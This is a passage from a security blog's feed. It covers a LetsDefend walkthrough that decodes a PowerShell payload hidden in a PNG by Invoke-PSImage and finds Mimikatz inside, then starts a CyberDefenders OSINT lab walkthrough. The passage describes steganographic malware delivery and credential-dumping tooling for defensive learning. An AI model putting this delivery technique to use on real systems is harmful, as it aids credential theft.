&amp;ldquo;image steganography powershell.&amp;ldquo;The first result seems very promising. If we click the link we are taken to the &lt;em&gt;GitHub&lt;/em&gt; project page for &lt;a class=&#34;link&#34; href=&#34;https://github.com/peewpw/Invoke-PSImage&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Invoke-PSImage&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;According to the project&amp;rsquo;s README, this tool is used for the following purpose:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Invoke-PSImage takes a PowerShell script and encodes the bytes of the script into the pixels of a PNG image. It generates a oneliner for executing either from a file of from the web.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Based on the number of stars, this project seems well-known, and it creates a payload within a &lt;em&gt;.png&lt;/em&gt; image. Let&amp;rsquo;s submit the answer and see if our research is correct:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/9dece4b15e6db10041df37293f46f40f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-after-decoding-the-payload-can-you-find-out-the-functions-name&#34;&gt;Question 4: After decoding the payload, can you find out the function&amp;rsquo;s name?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we know what tool created the suspicious image, we&amp;rsquo;ll now need to locate a method to analyze the actual payload hidden within the image.&lt;/p&gt;&#xA;&lt;p&gt;Since we know the tool which created the malicious image, let&amp;rsquo;s do some more &lt;em&gt;Google&lt;/em&gt; searching to see if there is a tool available to reveal the code.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll stumble across the article below by &lt;a class=&#34;link&#34; href=&#34;https://www.mertsarica.com/malicious-image/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Mert Sarica at Hack 4 Career&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.mertsarica.com/malicious-image/&#34;  title=&#34;https://www.mertsarica.com/malicious-image/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Malicious Image | Hack 4 Career&lt;/strong&gt;&#xA;_When we look at the campaigns carried out by APT groups such as Muddy Water, which also targets institutions in Turkey&amp;hellip;_www.mertsarica.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.mertsarica.com/malicious-image/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After reading the article, we discover that this researcher has created a tool, &lt;a class=&#34;link&#34; href=&#34;https://github.com/mertsarica/hack4career/blob/master/codes/psimage_decoder.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;psimage_decoder.py&lt;/strong&gt;&lt;/a&gt;, which:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Reveals Powershell code hidden in image files using &lt;a class=&#34;link&#34; href=&#34;https://github.com/peewpw/Invoke-PSImage&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Invoke-PSImage&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This sounds promising and is exactly what we&amp;rsquo;re trying to accomplish! Why don&amp;rsquo;t we test out this tool and see how it works? We&amp;rsquo;ll follow the link in the article and check out the &lt;em&gt;Python&lt;/em&gt; code over on &lt;a class=&#34;link&#34; href=&#34;https://github.com/mertsarica/hack4career/blob/master/codes/psimage_decoder.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;GitHub&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Without internet connectivity, we have limited options to download the tool into the virtual analysis environment so we&amp;rsquo;ll just copy the raw file contents into the copy/paste box of the virtual machine&amp;rsquo;s remote options.&lt;/p&gt;&#xA;&lt;p&gt;Then, we&amp;rsquo;ll paste the code into the installed &lt;em&gt;Notepad ++&lt;/em&gt; and save it as a &lt;em&gt;Python&lt;/em&gt; file called &lt;em&gt;psimage_decoder.py (&lt;em&gt;or whatever name you&amp;rsquo;d like&lt;/em&gt;).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, let&amp;rsquo;s run the &lt;em&gt;Python&lt;/em&gt; script using the provided syntax to point to the malicious &lt;em&gt;.png&lt;/em&gt; file&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/f01c79e4d17726a91ffe00708ec7b897_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Yikes! That was a lot of output to the console, let&amp;rsquo;s redirect this to a txt file instead so that we can more easily analyze the results.&lt;/p&gt;&#xA;&lt;p&gt;python .\psimage_decoder.py &lt;Path to file&gt; &amp;gt; &lt;output file name&gt;.txt&lt;/p&gt;&#xA;&lt;p&gt;Once we open the results file, we will see a &lt;em&gt;function&lt;/em&gt; at the very top — &lt;strong&gt;Invoke-Mimikatz&lt;/strong&gt;. If you aren&amp;rsquo;t familiar with &lt;em&gt;Mimikatz&lt;/em&gt;, here is a summary of this software from &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;326px&#34; data-flex-grow=&#34;136&#34; height=&#34;588&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/ba6222da65c894cc356bd08210fd9fc4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Yikes! That wouldn&amp;rsquo;t be a good thing for the victim to launch. Now that we&amp;rsquo;ve discovered evidence of &lt;em&gt;Mimikatz&lt;/em&gt; embedded in the &lt;em&gt;.png&lt;/em&gt; file using &lt;em&gt;psimage_decoder.py,&lt;/em&gt; I think we can confidently call this file malicious. Let&amp;rsquo;s continue with the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2258px&#34; data-flex-grow=&#34;941&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/240398e354641a2d2c6aa651918bef12_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-there-are-two-hidden-executables-in-the-decoded-payload-what-is-the-sha256-hash-of-the-32-bit-version-of-the-executable&#34;&gt;Question 5: There are two hidden executables in the decoded payload. What is the sha256 hash of the 32-bit version of the executable?&#xA;&lt;/h3&gt;&lt;p&gt;To answer the last question, let&amp;rsquo;s continue scrolling through the output of the decoded payload. Toward the bottom of the output, we&amp;rsquo;ll stumble upon this line with a block of code:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3286px&#34; data-flex-grow=&#34;1369&#34; height=&#34;49&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/eccf3b04c9013445b484d3f89c99f63d_MD5.png&#34; width=&#34;671&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve found of the two hidden executables! This is the &lt;em&gt;64-bit&lt;/em&gt; version, let&amp;rsquo;s keep scrolling until we find the &lt;em&gt;Win32&lt;/em&gt; version:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;838px&#34; data-flex-grow=&#34;349&#34; height=&#34;229&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/c714aeb066d910bff99d87b45ebac632_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Locating the Win32 Executable in the &lt;em&gt;psimage_decoder.py output&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! Now that we have located the second executable, notice the &lt;em&gt;SHA256 hash&lt;/em&gt; and the convenient link to &lt;strong&gt;VirusTotal?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;While we already have the file hash we are looking for, let&amp;rsquo;s take a quick look at the &lt;em&gt;VirusTotal&lt;/em&gt; report. If we needed to do some additional research on this binary, this would be a solid method to pivot and gather some additional intelligence and confirm our findings — in this case, we can confirm that the file is indeed malicious.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/en/file/be3414602121b6d23fc06edb6bd01ad60b584485266120c242877bbd4f7c8059/analysis/1478821027/&#34;  title=&#34;https://www.virustotal.com/en/file/be3414602121b6d23fc06edb6bd01ad60b584485266120c242877bbd4f7c8059/analysis/1478821027/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&#xA;VirusTotalwww.virustotal.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/en/file/be3414602121b6d23fc06edb6bd01ad60b584485266120c242877bbd4f7c8059/analysis/1478821027/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;842px&#34; data-flex-grow=&#34;350&#34; height=&#34;228&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/7ab8533e1c5402ed631189d707b4a1d4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s submit the answer and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2258px&#34; data-flex-grow=&#34;941&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/1ff5d8f18f366f876a107dbc675bd99a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Whew! Excellent job with the investigation! We made it through the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/imagestegano&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ImageStegano Challenge&lt;/strong&gt;&lt;/a&gt; and successfully revealed &lt;em&gt;Mimikatz&lt;/em&gt; hiding within the &lt;em&gt;.png&lt;/em&gt; image file! Now that we know what the malicious file is, let&amp;rsquo;s wrap this up.&lt;/p&gt;&#xA;&lt;p&gt;Thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for providing another fun challenge and the opportunity to learn about &lt;em&gt;steganography.&lt;/em&gt; This challenge was really interesting to me, and the lab was valuable to better understand how threat actors are always evolving their tactics and techniques. It was cool to see a practical example of malware embedded in an otherwise innocuous looking file. Having the hands-on practice with these concepts and some of the tools we used like &lt;em&gt;psimage_decoder.py&lt;/em&gt; will be excellent additions to the toolkit!&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along, too! I hope that you had as much fun as I did and learned something new, too. Until next week — stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;InfoSec Glossary — SANS Internet Storm Center:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://isc.sans.edu/tools/glossary/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://isc.sans.edu/tools/glossary/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Exiftool:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://exiftool.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://exiftool.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Docs WSL&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/wsl/about&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/wsl/about&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Invoke-PSImage (GitHub):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/peewpw/Invoke-PSImage&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/peewpw/Invoke-PSImage&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;psimage_decoder.py (GitHub):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mertsarica/hack4career/blob/master/codes/psimage_decoder.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mertsarica/hack4career/blob/master/codes/psimage_decoder.py&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Malicious Image Research:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.mertsarica.com/malicious-image/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.mertsarica.com/malicious-image/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK Mimikatz:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/en/file/be3414602121b6d23fc06edb6bd01ad60b584485266120c242877bbd4f7c8059/analysis/1478821027/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/en/file/be3414602121b6d23fc06edb6bd01ad60b584485266120c242877bbd4f7c8059/analysis/1478821027/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders  —  Intel101 Blue Team Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/</link>
            <pubDate>Sun, 05 May 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/4c57e55c2113098ab67f42b60e44ea50_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders  —  Intel101 Blue Team Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefenders--intel101-blue-team-lab-walkthrough&#34;&gt;CyberDefenders — Intel101 Blue Team Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;osint-investigation-with-whois-google-the-wayback-machine--wikipedia&#34;&gt;OSINT investigation with WHOIS, Google, The Wayback Machine, &amp;amp; Wikipedia.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;403px&#34; data-flex-grow=&#34;168&#34; height=&#34;235&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/4c57e55c2113098ab67f42b60e44ea50_MD5.png&#34; width=&#34;395&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/intel101/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/intel101/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! Have you ever wondered about using passive &lt;strong&gt;&lt;em&gt;Open-Source Intelligence (OSINT)&lt;/em&gt;&lt;/strong&gt; to search the public internet for information? Well we&amp;rsquo;re about to do just that by tackling the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/intel101/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Intel101 Blue Team Lab&lt;/strong&gt;&lt;/a&gt; on &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is a &lt;em&gt;threat intelligence&lt;/em&gt; challenge requiring us defenders to investigate a series of questions and collect information using passive &lt;em&gt;open-source intelligence&lt;/em&gt; (&lt;em&gt;OSINT&lt;/em&gt;) to find the answers — it&amp;rsquo;s like a digital scavenger hunt! We&amp;rsquo;ll accomplish this task using web-based tools like &lt;a class=&#34;link&#34; href=&#34;https://www.google.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Google&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://web.archive.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;The Wayback Machine&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://whois.domaintools.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;WhoIS&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; and some &lt;em&gt;visual image&lt;/em&gt; searching_._&lt;/p&gt;&#xA;&lt;p&gt;Now what is &lt;em&gt;OSINT&lt;/em&gt; anyway? According to the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/what-is-open-source-intelligence/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;SANS Institute&lt;/em&gt;&lt;/a&gt;&lt;em&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Open-Source Intelligence (OSINT) is defined as intelligence produced by collecting, evaluating and analyzing publicly available information with the purpose of answering a specific intelligence question.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, whether you&amp;rsquo;re here to learn more about &lt;em&gt;OSINT,&lt;/em&gt; a new tool, or are just looking for a reference walkthrough for the &lt;strong&gt;CyberDefenders&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/intel101/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Intel101 Blue Team Lab&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;ve stumbled on the right spot. In the spirit of learning, I will not be revealing any answers in this post, but I encourage you to follow along during your own investigation and use this post as a reference if you get stuck. This challenge is a bit tricky since it was created three years ago from the time of this writing and the data was more challenging to find.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading along, let&amp;rsquo;s have some fun!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/intel101/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/intel101/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Open-source intelligence (OSINT) exercise to practice mining and analyzing public data to produce meaningful intel when investigating external threats as a security blue team analyst.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Tools&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://lens.google/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Google Lens&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://web.archive.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;archive.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.tecmint.com/whois-command-get-domain-and-ip-address-information/#:~:text=In%20Linux%2C%20the%20whois%20command,in%20a%20human%2Dreadable%20format.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WhoIS&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-who-is-the-registrar-for-jameskainthcom&#34;&gt;Question 1: Who is the Registrar for jameskainth.com?&#xA;&lt;/h3&gt;&lt;p&gt;For the first question, we have a variety of tools that we can use to perform a domain lookup but to keep it simple, let&amp;rsquo;s just use the &lt;a class=&#34;link&#34; href=&#34;https://whois.domaintools.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;DomainTools Whois&lt;/strong&gt;&lt;/a&gt; website to perform a simple lookup of the domain:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;250px&#34; data-flex-grow=&#34;104&#34; height=&#34;762&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/7cc83ef02bcc83c5fe360a18480310b1_MD5.png&#34; width=&#34;794&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Whois Record Output&lt;/p&gt;&#xA;&lt;p&gt;From the results, we&amp;rsquo;ll find the &lt;em&gt;domain&lt;/em&gt; &lt;em&gt;registrar&lt;/em&gt; clearly at the top of the profile!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1318px&#34; data-flex-grow=&#34;549&#34; height=&#34;142&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/66f82fd0b1067d0382075d899b182e3b_MD5.png&#34; width=&#34;780&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-you-get-a-phone-call-from-this-number-8557077328-they-were-previously-known-by-another-name-no-spaces-betweenwords&#34;&gt;Question 2: You get a phone call from this number: 855€“707€“7328, they were previously known by another name? (No spaces between words)&#xA;&lt;/h3&gt;&lt;p&gt;Now, let&amp;rsquo;s pivot and use a search engine to perform a cursory scan for this phone number. For this example, we&amp;rsquo;ll use &lt;em&gt;Google.&lt;/em&gt; Let&amp;rsquo;s input the phone number and look at the results:&lt;/p&gt;&#xA;&lt;p&gt;One of the search results is a familiar website, the &lt;em&gt;Better Business Bureau&lt;/em&gt;. This is a consumer trust organization that is used to review the rating of businesses in North America.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;372px&#34; data-flex-grow=&#34;155&#34; height=&#34;515&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/a23a5a0fd5abab26df7759ce6b034083_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This website&amp;rsquo;s reputation gives us a high degree of confidence that the listed business is indeed tied to this phone number. Now that we have the first part, we need to do some further digging into the history of this company. For this task, we&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Charter_Communications&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;312px&#34; data-flex-grow=&#34;130&#34; height=&#34;615&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/aba8b2e5de666d7179dd5b32560e1bc5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The information about the previous name for this company is conveniently listed inthe right-hand column for us!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1142px&#34; data-flex-grow=&#34;476&#34; height=&#34;163&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/724b6e353a3fcb0d0fd6da79d5c8b0e0_MD5.png&#34; width=&#34;776&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-zoom-meeting-id-of-the-british-prime-ministers-cabinetmeeting&#34;&gt;Question 3: What is the Zoom meeting id of the British Prime Ministers Cabinet Meeting?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s do a quick &lt;em&gt;Google&lt;/em&gt; search again. We&amp;rsquo;ll find several COVID-era articles about this event. Let&amp;rsquo;s click on the link for the article from the well-known security reporter, &lt;a class=&#34;link&#34; 